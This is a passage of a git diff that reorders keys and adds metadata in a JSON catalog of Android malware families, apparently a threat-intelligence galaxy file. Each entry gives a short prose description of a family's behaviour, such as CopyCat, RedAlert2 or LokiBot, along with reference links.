diff --git a/clusters/android.json b/clusters/android.json
index 2ff9c0e..8ed2c68 100644
--- a/clusters/android.json
+++ b/clusters/android.json
@@ -1,17 +1,24 @@
{
+ "authors": [
+ "Unknown"
+ ],
+ "description": "Android malware galaxy based on multiple open sources.",
+ "name": "Android",
+ "source": "Open Sources",
+ "type": "android",
+ "uuid": "84310ba3-fa6a-44aa-b378-b9e3271c58fa",
"values": [
{
- "value": "CopyCat",
"description": "CopyCat is a fully developed malware with vast capabilities, including rooting devices, establishing persistency, and injecting code into Zygote – a daemon responsible for launching apps in the Android operating system – that allows the malware to control any activity on the device.",
"meta": {
"refs": [
"https://blog.checkpoint.com/2017/07/06/how-the-copycat-malware-infected-android-devices-around-the-world/"
]
},
- "uuid": "40aa797a-ee87-43a1-8755-04d040dbea28"
+ "uuid": "40aa797a-ee87-43a1-8755-04d040dbea28",
+ "value": "CopyCat"
},
{
- "value": "Andr/Dropr-FH",
"description": "Andr/Dropr-FH can silently record audio and video, monitor texts and calls, modify files, and ultimately spawn ransomware.",
"meta": {
"refs": [
@@ -22,10 +29,10 @@
"GhostCtrl"
]
},
- "uuid": "a01e1d0b-5303-4d11-94dc-7db74f3d599d"
+ "uuid": "a01e1d0b-5303-4d11-94dc-7db74f3d599d",
+ "value": "Andr/Dropr-FH"
},
{
- "value": "Judy",
"description": "The malware, dubbed Judy, is an auto-clicking adware which was found on 41 apps developed by a Korean company. The malware uses infected devices to generate large amounts of fraudulent clicks on advertisements, generating revenues for the perpetrators behind it.",
"meta": {
"refs": [
@@ -33,40 +40,40 @@
"https://blog.checkpoint.com/2017/05/25/judy-malware-possibly-largest-malware-campaign-found-google-play/"
]
},
- "uuid": "1a73ceaf-7054-4882-be82-8994805676fc"
+ "uuid": "1a73ceaf-7054-4882-be82-8994805676fc",
+ "value": "Judy"
},
{
- "value": "RedAlert2",
"description": "The trojan waits in hiding until the user opens a banking or social media app. When this happens, the trojan shows an HTML-based overlay on top of the original app, alerting the user of an error, and asking to reauthenticate. Red Alert then collects the user's credentials and sends them to its C&C server.",
"meta": {
"refs": [
"https://www.bleepingcomputer.com/news/security/researchers-discover-new-android-banking-trojan/"
]
},
- "uuid": "d10f8cd5-0077-4d8f-9145-03815a68dd33"
+ "uuid": "d10f8cd5-0077-4d8f-9145-03815a68dd33",
+ "value": "RedAlert2"
},
{
- "value": "Tizi",
"description": "Tizi is a fully featured backdoor that installs spyware to steal sensitive data from popular social media applications. The Google Play Protect security team discovered this family in September 2017 when device scans found an app with rooting capabilities that exploited old vulnerabilities. The team used this app to find more applications in the Tizi family, the oldest of which is from October 2015. The Tizi app developer also created a website and used social media to encourage more app installs from Google Play and third-party websites.",
"meta": {
"refs": [
"https://security.googleblog.com/2017/11/tizi-detecting-and-blocking-socially.html"
]
},
- "uuid": "8f374460-aa58-4a31-98cb-58db42d0902a"
+ "uuid": "8f374460-aa58-4a31-98cb-58db42d0902a",
+ "value": "Tizi"
},
{
- "value": "DoubleLocker",
"description": "DoubleLocker can change the device’s PIN, preventing victims from accessing their devices, and also encrypts the data requesting a ransom. It will misuse accessibility services after being installed by impersonating the Adobe Flash player - similar to BankBot.",
"meta": {
"refs": [
"https://www.welivesecurity.com/2017/10/13/doublelocker-innovative-android-malware/"
]
},
- "uuid": "6671bb0b-4fab-44a7-92f9-f641a887a0aa"
+ "uuid": "6671bb0b-4fab-44a7-92f9-f641a887a0aa",
+ "value": "DoubleLocker"
},
{
- "value": "Svpeng",
"description": "Svpeng is a Banking trojan which acts as a keylogger. If the Android device is not Russian, Svpeng will ask for permission to use accessibility services. In abusing this service it will gain administrator rights allowing it to draw over other apps, send and receive SMS and take screenshots when keys are pressed. ",
"meta": {
"refs": [
@@ -77,20 +84,20 @@
"Invisble Man"
]
},
- "uuid": "426ead34-b3e6-45c7-ba22-5b8f3b8214bd"
+ "uuid": "426ead34-b3e6-45c7-ba22-5b8f3b8214bd",
+ "value": "Svpeng"
},
{
- "value": "LokiBot",
"description": "LokiBot is a banking trojan for Android 4.0 and higher. It can steal the information and send SMS messages. It has the ability to start web browsers, and banking applications, along with showing notifications impersonating other apps. Upon attempt to remove it will encrypt the devices' external storage requiring Bitcoins to decrypt files.",
"meta": {
"refs": [
"https://clientsidedetection.com/lokibot___the_first_hybrid_android_malware.html"
]
},
- "uuid": "fbda9705-677b-4c5b-9b0b-13b52eff587c"
+ "uuid": "fbda9705-677b-4c5b-9b0b-13b52eff587c",
+ "value": "LokiBot"
},
{
- "value": "BankBot",
"description": "The main goal of this malware is to steal banking credentials from the victim’s device. It usually impersonates flash player updaters, android system tools, or other legitimate applications.",
"meta": {
"refs": [
@@ -99,20 +106,20 @@
"https://blog.avast.com/mobile-banking-trojan-sneaks-into-google-play-targeting-wells-fargo-chase-and-citibank-customers"
]
},
- "uuid": "4ed03b03-a34f-4583-9db1-6c58a4bd952b"
+ "uuid": "4ed03b03-a34f-4583-9db1-6c58a4bd952b",
+ "value": "BankBot"
},
{
- "value": "Viking Horde",
"description": "In rooted devices, Viking Horde installs software and executes code remotely to get access to the mobile data.",
"meta": {
"refs": [
"http://www.alwayson-network.com/worst-types-android-malware-2016/"
]
},
- "uuid": "c62a6121-2ebc-4bee-a25a-5285bf33328a"
+ "uuid": "c62a6121-2ebc-4bee-a25a-5285bf33328a",
+ "value": "Viking Horde"
},
{
- "value": "HummingBad",
"description": "A Chinese advertising company has developed this malware. The malware has the power to take control of devices; it forces users to click advertisements and download apps. The malware uses a multistage attack chain.",
"meta": {
"refs": [
@@ -120,20 +127,20 @@
"http://blog.checkpoint.com/wp-content/uploads/2016/07/HummingBad-Research-report_FINAL-62916.pdf"
]
},
- "uuid": "f5cacc72-f02a-42d1-a020-7a59650086bb"
+ "uuid": "f5cacc72-f02a-42d1-a020-7a59650086bb",
+ "value": "HummingBad"
},
{
- "value": "Ackposts",
"description": "Ackposts is a Trojan horse for Android devices that steals the Contacts information from the compromised device and sends it to a predetermined location.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-072302-3943-99"
]
},
- "uuid": "8261493f-c9a3-4946-874f-fe8445aa7691"
+ "uuid": "8261493f-c9a3-4946-874f-fe8445aa7691",
+ "value": "Ackposts"
},
{
- "value": "Wirex",
"description": "Wirex is a Trojan horse for Android devices that opens a backdoor on the compromised device which then joins a botnet for conducting click fraud.",
"meta": {
"refs": [
@@ -141,20 +148,20 @@
"http://www.zdnet.com/article/wirex-ddos-malware-given-udp-flood-capabilities/"
]
},
- "uuid": "0b4f1af0-e0fb-4148-b08c-f6782757752a"
+ "uuid": "0b4f1af0-e0fb-4148-b08c-f6782757752a",
+ "value": "Wirex"
},
{
- "value": "WannaLocker",
"description": "WannaLocker is a strain of ransomware for Android devices that encrypts files on the device's external storage and demands a payment to decrypt them.",
"meta": {
"refs": [
"https://fossbytes.com/wannalocker-ransomware-wannacry-android/"
]
},
- "uuid": "db4ddfc4-4f39-4e0b-905f-4703ed6b39b6"
+ "uuid": "db4ddfc4-4f39-4e0b-905f-4703ed6b39b6",
+ "value": "WannaLocker"
},
{
- "value": "Switcher",
"description": "Switcher is a Trojan horse for Android devices that modifies Wi-Fi router DNS settings. Swticher attempts to infiltrate a router's admin interface on the devices' WIFI network by using brute force techniques. If the attack succeeds, Switcher alters the DNS settings of the router, making it possible to reroute DNS queries to a network controlled by the malicious actors.",
"meta": {
"refs": [
@@ -163,20 +170,20 @@
"https://www.symantec.com/security_response/writeup.jsp?docid=2017-090410-0547-99"
]
},
- "uuid": "60857664-0671-4b12-ade9-86ee6ecb026a"
+ "uuid": "60857664-0671-4b12-ade9-86ee6ecb026a",
+ "value": "Switcher"
},
{
- "value": "Vibleaker",
"description": "Vibleaker was an app available on the Google Play Store named Beaver Gang Counter that contained malicious code that after specific orders from its maker would scan the user's phone for the Viber app, and then steal photos and videos recorded or sent through the app.",
"meta": {
"refs": [
"http://news.softpedia.com/news/malicious-android-app-steals-viber-photos-and-videos-505758.shtml"
]
},
- "uuid": "27354d65-ca90-4f73-b942-13046e61700c"
+ "uuid": "27354d65-ca90-4f73-b942-13046e61700c",
+ "value": "Vibleaker"
},
{
- "value": "ExpensiveWall",
"description": "ExpensiveWall is Android malware that sends fraudulent premium SMS messages and charges users accounts for fake services without their knowledge",
"meta": {
"refs": [
@@ -184,20 +191,20 @@
"http://fortune.com/2017/09/14/google-play-android-malware/"
]
},
- "uuid": "1484d72b-54d0-41b7-a9fa-18db9e9e5c69"
+ "uuid": "1484d72b-54d0-41b7-a9fa-18db9e9e5c69",
+ "value": "ExpensiveWall"
},
{
- "value": "Cepsohord",
"description": "Cepsohord is a Trojan horse for Android devices that uses compromised devices to commit click fraud, modify DNS settings, randomly delete essential files, and download additional malware such as ransomware.",
"meta": {
"refs": [
"https://www.cyber.nj.gov/threat-profiles/android-malware-variants/cepsohord"
]
},
- "uuid": "05b0c492-e1ef-4352-a714-b813e54b9032"
+ "uuid": "05b0c492-e1ef-4352-a714-b813e54b9032",
+ "value": "Cepsohord"
},
{
- "value": "Fakem Rat",
"description": "Fakem RAT makes their network traffic look like well-known protocols (e.g. Messenger traffic, HTML pages).",
"meta": {
"refs": [
@@ -205,10 +212,10 @@
"https://www.symantec.com/security_response/writeup.jsp?docid=2016-012608-1538-99"
]
},
- "uuid": "c657075e-3ffb-4748-bfe2-f40c3527739f"
+ "uuid": "c657075e-3ffb-4748-bfe2-f40c3527739f",
+ "value": "Fakem Rat"
},
{
- "value": "GM Bot",
"description": "GM Bot – also known as Acecard, SlemBunk, or Bankosy – scams people into giving up their banking log-in credentials and other personal data by displaying overlays that look nearly identical to banking apps log-in pages. Subsequently, the malware intercepts SMS to obtain two-factor authentication PINs, giving cybercriminals full access to bank accounts.",
"meta": {
"refs": [
@@ -220,20 +227,20 @@
"Bankosy"
]
},
- "uuid": "3d3aa832-8847-47c5-9e31-ef13ab7ab6fb"
+ "uuid": "3d3aa832-8847-47c5-9e31-ef13ab7ab6fb",
+ "value": "GM Bot"
},
{
- "value": "Moplus",
"description": "The Wormhole vulnerability in the Moplus SDK could be exploited by hackers to open an unsecured and unauthenticated HTTP server connection on the user’s device, and this connection is established in the background without the user’s knowledge.",
"meta": {
"refs": [
"http://securityaffairs.co/wordpress/41681/hacking/100m-android-device-baidu-moplus-sdk.html"
]
},
- "uuid": "d3f2ec07-4af3-4b3b-9cf0-2dba08bf5e68"
+ "uuid": "d3f2ec07-4af3-4b3b-9cf0-2dba08bf5e68",
+ "value": "Moplus"
},
{
- "value": "Adwind",
"description": "Adwind is a backdoor written purely in Java that targets system supporting the Java runtime environment. Commands that can be used, among other things, to display messages on the system, open URLs, update the malware, download/execute files, and download/load plugins. According to the author, the backdoor component can run on Windows, Mac OS, Linux and Android platforms providing rich capabilities for remote control, data gathering, data exfiltration and lateral movement.",
"meta": {
"refs": [
@@ -249,10 +256,10 @@
"Backdoor:Java/Adwind"
]
},
- "uuid": "ce1a9641-5bb8-4a61-990a-870e9ef36ac1"
+ "uuid": "ce1a9641-5bb8-4a61-990a-870e9ef36ac1",
+ "value": "Adwind"
},
{
- "value": "AdSms",
"description": "Adsms is a Trojan horse that may send SMS messages from Android devices.",
"meta": {
"refs": [
@@ -260,10 +267,10 @@
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-051313-4039-99"
]
},
- "uuid": "55b6621f-f928-4530-8271-5150e5f39211"
+ "uuid": "55b6621f-f928-4530-8271-5150e5f39211",
+ "value": "AdSms"
},
{
- "value": "Airpush",
"description": "Airpush is a very aggresive Ad - Network",
"meta": {
"refs": [
@@ -273,20 +280,20 @@
"StopSMS"
]
},
- "uuid": "1393cccf-19c0-4cc8-8488-8156672d87ba"
+ "uuid": "1393cccf-19c0-4cc8-8488-8156672d87ba",
+ "value": "Airpush"
},
{
- "value": "BeanBot",
"description": "BeanBot forwards device's data to a remote server and sends out premium-rate SMS messages from the infected device.",
"meta": {
"refs": [
"https://www.f-secure.com/v-descs/trojan_android_beanbot.shtml"
]
},
- "uuid": "8dbacb31-2ae9-4c0a-bf62-d017b802d345"
+ "uuid": "8dbacb31-2ae9-4c0a-bf62-d017b802d345",
+ "value": "BeanBot"
},
{
- "value": "Kemoge",
"description": "Kemoge is adware that disguises itself as popular apps via repackaging, then allows for a complete takeover of the users Android device.",
"meta": {
"refs": [
@@ -294,10 +301,10 @@
"https://www.symantec.com/security_response/writeup.jsp?docid=2015-101207-3555-99"
]
},
- "uuid": "0c769e82-df28-4f65-97f5-7f3d88488f2e"
+ "uuid": "0c769e82-df28-4f65-97f5-7f3d88488f2e",
+ "value": "Kemoge"
},
{
- "value": "Ghost Push",
"description": "Ghost Push is a family of malware that infects the Android OS by automatically gaining root access, downloading malicious software, masquerading as a system app, and then losing root access, which then makes it virtually impossible to remove the infection even by factory reset unless the firmware is reflashed.",
"meta": {
"refs": [
@@ -305,1260 +312,1260 @@
"https://blog.avast.com/how-to-protect-your-android-device-from-ghost-push"
]
},
- "uuid": "c878cdfc-ab8b-40f1-9173-e62a51e6f804"
+ "uuid": "c878cdfc-ab8b-40f1-9173-e62a51e6f804",
+ "value": "Ghost Push"
},
{
- "value": "BeNews",
"description": "The BeNews app is a backdoor app that uses the name of defunct news site BeNews to appear legitimate. After installation it bypasses restrictions and downloads additional threats to the compromised device.",
"meta": {
"refs": [
"http://blog.trendmicro.com/trendlabs-security-intelligence/fake-news-app-in-hacking-team-dump-designed-to-bypass-google-play/"
]
},
- "uuid": "281cf173-d547-4b37-a372-447caab577be"
+ "uuid": "281cf173-d547-4b37-a372-447caab577be",
+ "value": "BeNews"
},
{
- "value": "Accstealer",
"description": "Accstealer is a Trojan horse for Android devices that steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2015-012711-1159-99"
]
},
- "uuid": "cbc1c053-5ee8-40c9-96c2-431ac6852fe1"
+ "uuid": "cbc1c053-5ee8-40c9-96c2-431ac6852fe1",
+ "value": "Accstealer"
},
{
- "value": "Acnetdoor",
"description": "Acnetdoor is a detection for Trojan horses on the Android platform that open a back door on the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-051611-4258-99"
]
},
- "uuid": "b36f7ce2-e208-4879-9a3f-58623727f887"
+ "uuid": "b36f7ce2-e208-4879-9a3f-58623727f887",
+ "value": "Acnetdoor"
},
{
- "value": "Acnetsteal",
"description": "Acnetsteal is a detection for Trojan horses on the Android platform that steal information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-051612-0505-99"
]
},
- "uuid": "dbbc6b6f-fa87-4fdc-880d-7c22c2723c58"
+ "uuid": "dbbc6b6f-fa87-4fdc-880d-7c22c2723c58",
+ "value": "Acnetsteal"
},
{
- "value": "Actech",
"description": "Actech is a Trojan horse for Android devices that steals information and sends it to a remote location. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-080111-3948-99"
]
},
- "uuid": "0bf67f5b-0bcc-41e0-8db9-2b8df8cf1d03"
+ "uuid": "0bf67f5b-0bcc-41e0-8db9-2b8df8cf1d03",
+ "value": "Actech"
},
{
- "value": "AdChina",
"description": "AdChina is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-032814-2947-99"
]
},
- "uuid": "33a06139-1c18-4a9a-b86b-440c43266b15"
+ "uuid": "33a06139-1c18-4a9a-b86b-440c43266b15",
+ "value": "AdChina"
},
{
- "value": "Adfonic",
"description": "Adfonic is an advertisement library that is bundled with certain Android applications. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-052615-0024-99"
]
},
- "uuid": "a02b2327-525a-4343-9c76-64f2c984c536"
+ "uuid": "a02b2327-525a-4343-9c76-64f2c984c536",
+ "value": "Adfonic"
},
{
- "value": "AdInfo",
"description": "AdInfo is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-2433-99"
]
},
- "uuid": "a1737465-7af6-4362-b938-3a3fa737ebb7"
+ "uuid": "a1737465-7af6-4362-b938-3a3fa737ebb7",
+ "value": "AdInfo"
},
{
- "value": "Adknowledge",
"description": "Adknowledge is an advertisement library that is bundled with certain Android applications. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-052822-1033-99"
]
},
- "uuid": "dd626b23-173c-4737-b9d7-c44571c1abb3"
+ "uuid": "dd626b23-173c-4737-b9d7-c44571c1abb3",
+ "value": "Adknowledge"
},
{
- "value": "AdMarvel",
"description": "AdMarvel is an advertisement library that is bundled with certain Android applications. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-060621-2450-99"
]
},
- "uuid": "6eb47eef-898e-4d74-9f85-ac9c99250e9b"
+ "uuid": "6eb47eef-898e-4d74-9f85-ac9c99250e9b",
+ "value": "AdMarvel"
},
{
- "value": "AdMob",
"description": "AdMob is an advertisement library that is bundled with certain Android applications. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-052822-3437-99"
]
},
- "uuid": "932d18c5-6332-4334-83fc-4af3c46a4992"
+ "uuid": "932d18c5-6332-4334-83fc-4af3c46a4992",
+ "value": "AdMob"
},
{
- "value": "Adrd",
"description": "Adrd is a Trojan horse that steals information from Android devices. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-021514-4954-99"
]
},
- "uuid": "121b8084-fdfd-4746-9675-cf8a191bf6d9"
+ "uuid": "121b8084-fdfd-4746-9675-cf8a191bf6d9",
+ "value": "Adrd"
},
{
- "value": "Aduru",
"description": "Aduru is an advertisement library that is bundled with certain Android applications. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-052618-2419-99"
]
},
- "uuid": "3476c6dd-3cb0-443d-8668-0f731616b068"
+ "uuid": "3476c6dd-3cb0-443d-8668-0f731616b068",
+ "value": "Aduru"
},
{
- "value": "Adwhirl",
"description": "Adwhirl is an advertisement library that is bundled with certain Android applications. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-052918-1414-99"
]
},
- "uuid": "6fe8fd1b-a7d9-4ece-95f5-fdaaa0acd797"
+ "uuid": "6fe8fd1b-a7d9-4ece-95f5-fdaaa0acd797",
+ "value": "Adwhirl"
},
{
- "value": "Adwlauncher",
"description": "Adwlauncher is a Trojan horse for Android devices that steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-082308-1823-99"
]
},
- "uuid": "8ee649b6-8379-4b01-8997-dc7c82e22bb5"
+ "uuid": "8ee649b6-8379-4b01-8997-dc7c82e22bb5",
+ "value": "Adwlauncher"
},
{
- "value": "Adwo",
"description": "Adwo is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-032814-5806-99"
]
},
- "uuid": "5c979585-51c3-427c-a23d-cbe43083ce2d"
+ "uuid": "5c979585-51c3-427c-a23d-cbe43083ce2d",
+ "value": "Adwo"
},
{
- "value": "Airad",
"description": "Airad is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-032815-1704-99"
]
},
- "uuid": "5824688f-e91c-44ab-ae2e-392299e9d071"
+ "uuid": "5824688f-e91c-44ab-ae2e-392299e9d071",
+ "value": "Airad"
},
{
- "value": "Alienspy",
"description": "Alienspy is a Trojan horse for Android devices that steals information from the compromised device. It may also download potentially malicious files. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2015-042714-5942-99"
]
},
- "uuid": "680a1677-9bff-4285-9394-62b1ce096c84"
+ "uuid": "680a1677-9bff-4285-9394-62b1ce096c84",
+ "value": "Alienspy"
},
{
- "value": "AmazonAds",
"description": "AmazonAds is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-052618-5002-99"
]
},
- "uuid": "3a94a731-4566-4cc5-8c01-d651dc11b8a5"
+ "uuid": "3a94a731-4566-4cc5-8c01-d651dc11b8a5",
+ "value": "AmazonAds"
},
{
- "value": "Answerbot",
"description": "Answerbot is a Trojan horse that opens a back door on Android devices. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-100711-2129-99"
]
},
- "uuid": "b8f8d1c1-5f33-4b13-8ecf-2383e3213713"
+ "uuid": "b8f8d1c1-5f33-4b13-8ecf-2383e3213713",
+ "value": "Answerbot"
},
{
- "value": "Antammi",
"description": "Antammi is a Trojan horse that steals information from Android devices. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-032106-5211-99"
]
},
- "uuid": "bbc13ff1-0cee-4c30-a864-2c6a341ac365"
+ "uuid": "bbc13ff1-0cee-4c30-a864-2c6a341ac365",
+ "value": "Antammi"
},
{
- "value": "Apkmore",
"description": "Apkmore is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040113-4813-99"
]
},
- "uuid": "f45b87cf-6811-427c-84ff-027898b0592a"
+ "uuid": "f45b87cf-6811-427c-84ff-027898b0592a",
+ "value": "Apkmore"
},
{
- "value": "Aplog",
"description": "Aplog is a Trojan horse for Android devices that steals information from the device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-100911-1023-99"
]
},
- "uuid": "600da14d-a959-4a06-9a13-85ff50cb05b4"
+ "uuid": "600da14d-a959-4a06-9a13-85ff50cb05b4",
+ "value": "Aplog"
},
{
- "value": "Appenda",
"description": "Appenda is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-062812-0516-99"
]
},
- "uuid": "1840c69b-f340-444e-a4e5-ac324c8214eb"
+ "uuid": "1840c69b-f340-444e-a4e5-ac324c8214eb",
+ "value": "Appenda"
},
{
- "value": "Apperhand",
"description": "Apperhand is an advertisement library that is bundled with certain Android applications. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-032815-5637-99"
]
},
- "uuid": "2c199154-888b-4444-8d21-622ed62e6e63"
+ "uuid": "2c199154-888b-4444-8d21-622ed62e6e63",
+ "value": "Apperhand"
},
{
- "value": "Appleservice",
"description": "Appleservice is a Trojan horse for Android devices that may steal information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-031011-4321-99"
]
},
- "uuid": "920b0561-abc9-409e-92b1-3b13b7d21a06"
+ "uuid": "920b0561-abc9-409e-92b1-3b13b7d21a06",
+ "value": "Appleservice"
},
{
- "value": "AppLovin",
"description": "AppLovin is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040112-1739-99"
]
},
- "uuid": "e212433e-6dac-40ab-8793-8dcfe4a1538f"
+ "uuid": "e212433e-6dac-40ab-8793-8dcfe4a1538f",
+ "value": "AppLovin"
},
{
- "value": "Arspam",
"description": "Arspam is a Trojan horse for Android devices that sends spam SMS messages to contacts on the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-121915-3251-99"
]
},
- "uuid": "e565a78c-8fa8-419b-b235-1fafa500686c"
+ "uuid": "e565a78c-8fa8-419b-b235-1fafa500686c",
+ "value": "Arspam"
},
{
- "value": "Aurecord",
"description": "Aurecord is a spyware application for Android devices that allows the device it is installed on to be monitored. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-031914-2310-99"
]
},
- "uuid": "80a800a7-01ec-4712-9d2b-2382f7bf9201"
+ "uuid": "80a800a7-01ec-4712-9d2b-2382f7bf9201",
+ "value": "Aurecord"
},
{
- "value": "Backapp",
"description": "Backapp is a Trojan horse for Android devices that steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-092708-5017-99"
]
},
- "uuid": "a4100d65-78d0-47ec-b939-709447641bab"
+ "uuid": "a4100d65-78d0-47ec-b939-709447641bab",
+ "value": "Backapp"
},
{
- "value": "Backdexer",
"description": "Backdexer is a Trojan horse for Android devices that may send premium-rate SMS messages from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-121812-2502-99"
]
},
- "uuid": "27c289c7-a661-4322-9c21-8053f347e457"
+ "uuid": "27c289c7-a661-4322-9c21-8053f347e457",
+ "value": "Backdexer"
},
{
- "value": "Backflash",
"description": "Backflash is a Trojan horse for Android devices that opens a back door and steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-091714-0427-99"
]
},
- "uuid": "da8cc77b-a26d-43da-a47a-a50892c08edd"
+ "uuid": "da8cc77b-a26d-43da-a47a-a50892c08edd",
+ "value": "Backflash"
},
{
- "value": "Backscript",
"description": "Backscript is a Trojan horse for Android devices that downloads files onto the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-090704-3639-99"
]
},
- "uuid": "d9f11a96-5f9a-48b6-9dac-735ca4fca4d2"
+ "uuid": "d9f11a96-5f9a-48b6-9dac-735ca4fca4d2",
+ "value": "Backscript"
},
{
- "value": "Badaccents",
"description": "Badaccents is a Trojan horse for Android devices that may download apps on the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-123015-3618-99"
]
},
- "uuid": "1442e5a8-d2cf-48cd-86e5-276a9dfc0bae"
+ "uuid": "1442e5a8-d2cf-48cd-86e5-276a9dfc0bae",
+ "value": "Badaccents"
},
{
- "value": "Badpush",
"description": "Badpush is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040311-4133-99"
]
},
- "uuid": "ceacaa80-471e-4e38-b648-78b000771076"
+ "uuid": "ceacaa80-471e-4e38-b648-78b000771076",
+ "value": "Badpush"
},
{
- "value": "Ballonpop",
"description": "Ballonpop is a Trojan horse for Android devices that steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-120911-1731-99"
]
},
- "uuid": "6f957cc5-467b-4465-b14d-ccc6f2206543"
+ "uuid": "6f957cc5-467b-4465-b14d-ccc6f2206543",
+ "value": "Ballonpop"
},
{
- "value": "Bankosy",
"description": "Bankosy is a Trojan horse for Android devices that steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-072316-5249-99"
]
},
- "uuid": "620981e8-49c8-486a-b30c-359702c8ffbc"
+ "uuid": "620981e8-49c8-486a-b30c-359702c8ffbc",
+ "value": "Bankosy"
},
{
- "value": "Bankun",
"description": "Bankun is a Trojan horse for Android devices that replaces certain banking applications on the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-072318-4143-99"
]
},
- "uuid": "bc45ca3c-a6fa-408d-bfab-cc845ffde1e2"
+ "uuid": "bc45ca3c-a6fa-408d-bfab-cc845ffde1e2",
+ "value": "Bankun"
},
{
- "value": "Basebridge",
"description": "Basebridge is a Trojan horse that attempts to send premium-rate SMS messages to predetermined numbers. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-060915-4938-99"
]
},
- "uuid": "9ae60aaa-bcdb-46a1-a1da-d779cb13cb2b"
+ "uuid": "9ae60aaa-bcdb-46a1-a1da-d779cb13cb2b",
+ "value": "Basebridge"
},
{
- "value": "Basedao",
"description": "Basedao is a Trojan horse for Android devices that steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-061715-3303-99"
]
},
- "uuid": "9d625454-80a7-4c56-bb90-c0a678c6dec1"
+ "uuid": "9d625454-80a7-4c56-bb90-c0a678c6dec1",
+ "value": "Basedao"
},
{
- "value": "Batterydoctor",
"description": "Batterydoctor is Trojan that makes exaggerated claims about the device's ability to recharge the battery, as well as steal information. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-101916-0847-99"
]
},
- "uuid": "5bd321b1-afef-482f-b160-2e209dffb390"
+ "uuid": "5bd321b1-afef-482f-b160-2e209dffb390",
+ "value": "Batterydoctor"
},
{
- "value": "Beaglespy",
"description": "Beaglespy is an Android mobile detection for the Beagle spyware program as well as its associated client application.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-091010-0627-99"
]
},
- "uuid": "2e3ad1af-e24c-4b1c-87cb-360dab4d90a9"
+ "uuid": "2e3ad1af-e24c-4b1c-87cb-360dab4d90a9",
+ "value": "Beaglespy"
},
{
- "value": "Becuro",
"description": "Becuro is a Trojan horse for Android devices that downloads potentially malicious files onto the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2015-051410-3348-99"
]
},
- "uuid": "dd83dbc7-9ffa-4ca7-a8c3-6b27bde4c3bd"
+ "uuid": "dd83dbc7-9ffa-4ca7-a8c3-6b27bde4c3bd",
+ "value": "Becuro"
},
{
- "value": "Beita",
"description": "Beita is a Trojan horse for Android devices that steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-110111-1829-99"
]
},
- "uuid": "4baa74be-682f-4a38-b4b1-aceba8f48009"
+ "uuid": "4baa74be-682f-4a38-b4b1-aceba8f48009",
+ "value": "Beita"
},
{
- "value": "Bgserv",
